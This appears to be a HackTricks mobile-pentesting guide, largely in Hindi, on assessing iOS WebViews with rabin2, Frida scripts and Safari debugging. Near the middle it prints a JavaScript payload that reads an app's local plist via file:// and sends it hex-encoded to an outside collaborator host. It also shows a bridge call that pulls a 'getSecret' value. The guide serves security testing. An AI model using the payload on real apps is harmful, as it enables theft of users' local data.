iOS WebViews

Support HackTricks

The code of this page was extracted from here. Check the page for further details.

WebViews types

WebViews का उपयोग अनुप्रयोगों के भीतर इंटरैक्टिव रूप से वेब सामग्री प्रदर्शित करने के लिए किया जाता है। विभिन्न प्रकार के WebViews iOS अनुप्रयोगों के लिए विभिन्न कार्यक्षमताएँ और सुरक्षा सुविधाएँ प्रदान करते हैं। यहाँ एक संक्षिप्त अवलोकन है:

  • UIWebView, जिसे iOS 12 से आगे अनुशंसित नहीं किया गया है क्योंकि यह JavaScript को निष्क्रिय करने के लिए समर्थन की कमी के कारण स्क्रिप्ट इंजेक्शन और Cross-Site Scripting (XSS) हमलों के प्रति संवेदनशील है।

  • WKWebView ऐप्स में वेब सामग्री को शामिल करने के लिए पसंदीदा विकल्प है, जो सामग्री और सुरक्षा सुविधाओं पर बेहतर नियंत्रण प्रदान करता है। JavaScript डिफ़ॉल्ट रूप से सक्षम है, लेकिन यदि आवश्यक हो तो इसे निष्क्रिय किया जा सकता है। यह स्वचालित रूप से विंडो खोलने से JavaScript को रोकने के लिए सुविधाएँ भी प्रदान करता है और सुनिश्चित करता है कि सभी सामग्री सुरक्षित रूप से लोड हो। इसके अतिरिक्त, WKWebView की वास्तुकला मुख्य ऐप प्रक्रिया को प्रभावित करने वाले मेमोरी भ्रष्टाचार के जोखिम को कम करती है।

  • SFSafariViewController ऐप्स के भीतर एक मानकीकृत वेब ब्राउज़िंग अनुभव प्रदान करता है, जिसे एक पढ़ने योग्य पता क्षेत्र, साझा करने और नेविगेशन बटन, और सामग्री को सफारी में खोलने के लिए एक सीधा लिंक सहित इसके विशिष्ट लेआउट द्वारा पहचाना जा सकता है। WKWebView के विपरीत, SFSafariViewController में JavaScript को निष्क्रिय नहीं किया जा सकता है, जो सफारी के साथ कुकीज़ और डेटा साझा करता है, ऐप से उपयोगकर्ता की गोपनीयता बनाए रखता है। इसे ऐप स्टोर दिशानिर्देशों के अनुसार प्रमुखता से प्रदर्शित किया जाना चाहिए।

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Configuration Exploration Summary

Static Analysis Overview

WebViews कॉन्फ़िगरेशन की जांच करते समय, दो मुख्य प्रकारों पर ध्यान केंद्रित किया जाता है: UIWebView और WKWebView। इन WebViews को बाइनरी के भीतर पहचानने के लिए, विशेष वर्ग संदर्भों और प्रारंभिककरण विधियों की खोज करते हुए आदेशों का उपयोग किया जाता है।

  • UIWebView Identification

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

यह कमांड बाइनरी में इसके संबंधित टेक्स्ट स्ट्रिंग्स को खोजकर UIWebView के उदाहरणों को खोजने में मदद करता है।

  • WKWebView पहचान

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

इसी तरह, WKWebView के लिए, यह कमांड बाइनरी में टेक्स्ट स्ट्रिंग्स की खोज करता है जो इसके उपयोग का संकेत देती हैं।

इसके अलावा, यह जानने के लिए कि WKWebView कैसे प्रारंभ किया जाता है, निम्नलिखित कमांड निष्पादित किया जाता है, जो इसके प्रारंभिककरण से संबंधित विधि हस्ताक्षर को लक्षित करता है:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript कॉन्फ़िगरेशन सत्यापन

WKWebView के लिए, यह बताया गया है कि जब तक आवश्यक न हो, JavaScript को बंद करना एक सर्वोत्तम प्रथा है। यह पुष्टि करने के लिए संकलित बाइनरी की खोज की जाती है कि javaScriptEnabled प्रॉपर्टी false पर सेट है, यह सुनिश्चित करते हुए कि JavaScript बंद है:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

केवल सुरक्षित सामग्री सत्यापन

WKWebView मिश्रित सामग्री समस्याओं की पहचान करने की क्षमता प्रदान करता है, जो UIWebView के विपरीत है। यह hasOnlySecureContent प्रॉपर्टी का उपयोग करके जांचा जाता है ताकि यह सुनिश्चित किया जा सके कि सभी पृष्ठ संसाधन सुरक्षित कनेक्शनों के माध्यम से लोड होते हैं। संकलित बाइनरी में खोज इस प्रकार की जाती है:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

डायनामिक विश्लेषण अंतर्दृष्टि

डायनामिक विश्लेषण में WebView उदाहरणों और उनकी विशेषताओं के लिए हीप का निरीक्षण करना शामिल है। इस उद्देश्य के लिए webviews_inspector.js नामक एक स्क्रिप्ट का उपयोग किया जाता है, जो UIWebView, WKWebView, और SFSafariViewController उदाहरणों को लक्षित करती है। यह पाए गए उदाहरणों के बारे में जानकारी लॉग करती है, जिसमें URLs और JavaScript और सुरक्षित सामग्री से संबंधित सेटिंग्स शामिल हैं।

हीप निरीक्षण ObjC.choose() का उपयोग करके WebView उदाहरणों की पहचान करने और javaScriptEnabled और hasonlysecurecontent विशेषताओं की जांच करने के लिए किया जा सकता है।

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

स्क्रिप्ट को इस तरह निष्पादित किया जाता है:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

मुख्य परिणाम:

  • WebViews के उदाहरण सफलतापूर्वक पाए और निरीक्षण किए गए।

  • JavaScript सक्षम करने और सुरक्षित सामग्री सेटिंग्स की पुष्टि की गई।

यह सारांश स्थिर और गतिशील दृष्टिकोणों के माध्यम से WebView कॉन्फ़िगरेशन का विश्लेषण करने में शामिल महत्वपूर्ण चरणों और आदेशों को संक्षेप में प्रस्तुत करता है, जो JavaScript सक्षम करने और मिश्रित सामग्री पहचान जैसी सुरक्षा सुविधाओं पर केंद्रित है।

WebView प्रोटोकॉल हैंडलिंग

WebViews में सामग्री को संभालना एक महत्वपूर्ण पहलू है, विशेष रूप से विभिन्न प्रोटोकॉल जैसे http(s)://, file://, और tel:// के साथ काम करते समय। ये प्रोटोकॉल ऐप्स के भीतर दूरस्थ और स्थानीय सामग्री को लोड करने की अनुमति देते हैं। यह जोर दिया गया है कि जब स्थानीय सामग्री लोड की जा रही हो, तो उपयोगकर्ताओं को फ़ाइल के नाम या पथ को प्रभावित करने और सामग्री को संपादित करने से रोकने के लिए सावधानियाँ बरतनी चाहिए।

WebViews सामग्री लोड करने के लिए विभिन्न विधियाँ प्रदान करते हैं। UIWebView, जो अब अप्रचलित है, के लिए loadHTMLString:baseURL: और loadData:MIMEType:textEncodingName:baseURL: जैसी विधियों का उपयोग किया जाता है। दूसरी ओर, WKWebView वेब सामग्री के लिए loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, और loadRequest: का उपयोग करता है। स्थानीय फ़ाइलों को लोड करने के लिए आमतौर पर pathForResource:ofType:, URLForResource:withExtension:, और init(contentsOf:encoding:) जैसी विधियों का उपयोग किया जाता है। loadFileURL:allowingReadAccessToURL: विधि विशेष रूप से उल्लेखनीय है क्योंकि यह WebView में एक विशिष्ट URL या निर्देशिका को लोड करने की क्षमता रखती है, यदि एक निर्देशिका निर्दिष्ट की जाती है तो संवेदनशील डेटा को उजागर कर सकती है।

इन विधियों को स्रोत कोड या संकलित बाइनरी में खोजने के लिए, निम्नलिखित जैसे आदेशों का उपयोग किया जा सकता है:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Regarding file access, UIWebView इसे सार्वभौमिक रूप से अनुमति देता है, जबकि WKWebView allowFileAccessFromFileURLs और allowUniversalAccessFromFileURLs सेटिंग्स को फ़ाइल URL से पहुँच प्रबंधित करने के लिए पेश करता है, जिनमें से दोनों डिफ़ॉल्ट रूप से गलत हैं।

एक Frida स्क्रिप्ट उदाहरण प्रदान किया गया है जो सुरक्षा सेटिंग्स के लिए WKWebView कॉन्फ़िगरेशन का निरीक्षण करता है:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

अंत में, स्थानीय फ़ाइलों को निकालने के लिए लक्षित एक JavaScript पेलोड का उदाहरण गलत तरीके से कॉन्फ़िगर किए गए WebViews से संबंधित संभावित सुरक्षा जोखिम को प्रदर्शित करता है। यह पेलोड फ़ाइल की सामग्री को सर्वर पर भेजने से पहले हेक्स प्रारूप में एन्कोड करता है, जो WebView कार्यान्वयन में कड़े सुरक्षा उपायों के महत्व को उजागर करता है।

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Understanding WebView Native Interfaces in iOS

iOS 7 से, Apple ने WebView में JavaScript और नेटिव Swift या Objective-C ऑब्जेक्ट्स के बीच संचार के लिए APIs प्रदान की। यह एकीकरण मुख्य रूप से दो तरीकों के माध्यम से किया जाता है:

  • JSContext: जब एक Swift या Objective-C ब्लॉक को JSContext के भीतर एक पहचानकर्ता से जोड़ा जाता है, तो एक JavaScript फ़ंक्शन स्वचालित रूप से बनाया जाता है। यह JavaScript और नेटिव कोड के बीच निर्बाध एकीकरण और संचार की अनुमति देता है।

  • JSExport Protocol: JSExport प्रोटोकॉल को विरासत में लेकर, नेटिव प्रॉपर्टीज, इंस्टेंस मेथड्स, और क्लास मेथड्स को JavaScript के लिए उजागर किया जा सकता है। इसका मतलब है कि JavaScript वातावरण में किए गए किसी भी परिवर्तन को नेटिव वातावरण में दर्शाया जाता है, और इसके विपरीत। हालाँकि, यह सुनिश्चित करना आवश्यक है कि संवेदनशील डेटा इस विधि के माध्यम से अनजाने में उजागर न हो।

Accessing JSContext in Objective-C

Objective-C में, UIWebView के लिए JSContext को निम्नलिखित कोड की पंक्ति के साथ प्राप्त किया जा सकता है:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication with WKWebView

WKWebView के लिए, JSContext तक सीधी पहुँच उपलब्ध नहीं है। इसके बजाय, संदेश पासिंग का उपयोग postMessage फ़ंक्शन के माध्यम से किया जाता है, जो JavaScript को मूल संचार की अनुमति देता है। इन संदेशों के लिए हैंडलर इस प्रकार सेट किए जाते हैं, जिससे JavaScript को सुरक्षित रूप से मूल एप्लिकेशन के साथ इंटरैक्ट करने की अनुमति मिलती है:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaction and Testing

JavaScript स्वदेशी परत के साथ बातचीत कर सकता है एक स्क्रिप्ट संदेश हैंडलर को परिभाषित करके। यह एक वेबपेज से स्वदेशी कार्यों को बुलाने जैसी क्रियाओं की अनुमति देता है:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

native फ़ंक्शन कॉल के परिणाम को कैप्चर और संशोधित करने के लिए, कोई HTML के भीतर कॉलबैक फ़ंक्शन को ओवरराइड कर सकता है:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

नैटिव साइड JavaScriptBridgeMessageHandler क्लास में दिखाए अनुसार JavaScript कॉल को संभालता है, जहाँ संख्याओं को गुणा करने जैसी ऑपरेशनों का परिणाम प्रोसेस किया जाता है और इसे JavaScript में डिस्प्ले या आगे की मैनिपुलेशन के लिए भेजा जाता है:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

iOS वेबव्यू में वेब सामग्री को प्रभावी ढंग से डिबग करने के लिए, सफारी के डेवलपर टूल्स की एक विशिष्ट सेटअप की आवश्यकता होती है क्योंकि console.log() को भेजे गए संदेश Xcode लॉग में प्रदर्शित नहीं होते हैं। यहाँ एक सरल मार्गदर्शिका है, जो प्रमुख चरणों और आवश्यकताओं पर जोर देती है:

  • iOS डिवाइस पर तैयारी: आपके iOS डिवाइस पर सफारी वेब इंस्पेक्टर को सक्रिय करना आवश्यक है। यह सेटिंग्स > सफारी > उन्नत में जाकर और वेब इंस्पेक्टर को सक्षम करके किया जाता है।

  • macOS डिवाइस पर तैयारी: आपके macOS विकास मशीन पर, आपको सफारी में डेवलपर टूल्स को सक्षम करना होगा। सफारी लॉन्च करें, सफारी > प्राथमिकताएँ > उन्नत पर जाएँ, और डेवलप मेनू दिखाएँ विकल्प का चयन करें।

  • कनेक्शन और डिबगिंग: अपने iOS डिवाइस को अपने macOS कंप्यूटर से कनेक्ट करने और अपने एप्लिकेशन को लॉन्च करने के बाद, अपने macOS डिवाइस पर सफारी का उपयोग करके उस वेबव्यू का चयन करें जिसे आप डिबग करना चाहते हैं। सफारी के मेनू बार में डेवलप पर जाएँ, अपने iOS डिवाइस के नाम पर होवर करें ताकि वेबव्यू उदाहरणों की सूची दिखाई दे, और उस उदाहरण का चयन करें जिसे आप निरीक्षण करना चाहते हैं। इस उद्देश्य के लिए एक नया सफारी वेब इंस्पेक्टर विंडो खुलेगा।

हालांकि, सीमाओं के प्रति सतर्क रहें:

  • इस विधि के साथ डिबगिंग के लिए एक macOS डिवाइस की आवश्यकता होती है क्योंकि यह सफारी पर निर्भर करता है।

  • केवल उन एप्लिकेशनों में वेबव्यू डिबगिंग के लिए योग्य हैं जो Xcode के माध्यम से आपके डिवाइस पर लोड की गई हैं। ऐप स्टोर या एप्पल कॉन्फ़िगरेटर के माध्यम से स्थापित ऐप्स में वेबव्यू को इस तरीके से डिबग नहीं किया जा सकता है।

References

Support HackTricks

Last updated